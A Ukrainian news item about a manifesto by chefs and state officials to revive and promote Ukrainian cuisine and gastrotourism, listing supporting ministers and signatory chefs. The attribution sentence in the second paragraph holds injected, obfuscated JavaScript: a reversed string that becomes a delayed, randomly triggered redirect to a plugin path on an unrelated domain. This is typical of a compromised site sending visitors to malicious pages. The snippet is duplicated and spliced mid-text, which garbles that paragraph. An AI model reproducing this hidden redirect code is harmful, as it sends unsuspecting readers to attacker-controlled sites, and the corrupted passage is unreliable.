Українські шеф-кухарі та представники державної влади спільно проголосили Маніфест про відродження української кухні, її популяризацію у світі, пошук нових формул стародавніх страв і розвиток вітчизняного гастротуризму.

Про це toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourism.gov.ua/blog/manifest-ukrayinskoyi-kuhni”>повідомляє ДАРТ.

Українську гастрономію сприймають як більш домашню кухню, а в ресторанах люди хочуть вживати іноземну кухню. У зв’язку з цим необхідно переосмислити українську кухню.

Ініціатива має на меті підвищити зацікавлення Україною у світі та розширити географію маршрутів для внутрішніх подорожей українців.

З боку держави Маніфест української кухні підтримали Олександр Ткаченко, Міністр культури та інформаційної політики України, Еміне Джапарова, Перша заступниця міністра закордонних справ України, Олександр Грибан, Заступник Міністра економіки України, Володимир Шейко, Генеральний директор Українського інституту.

Серед шефів-підписантів маніфесту – понад 20 українських кухарів, зокрема: Ярослав Артюх, Елеонора Баранова, Віталій Гуралевич, Міралі Ділбазі та Євген Клопотенко.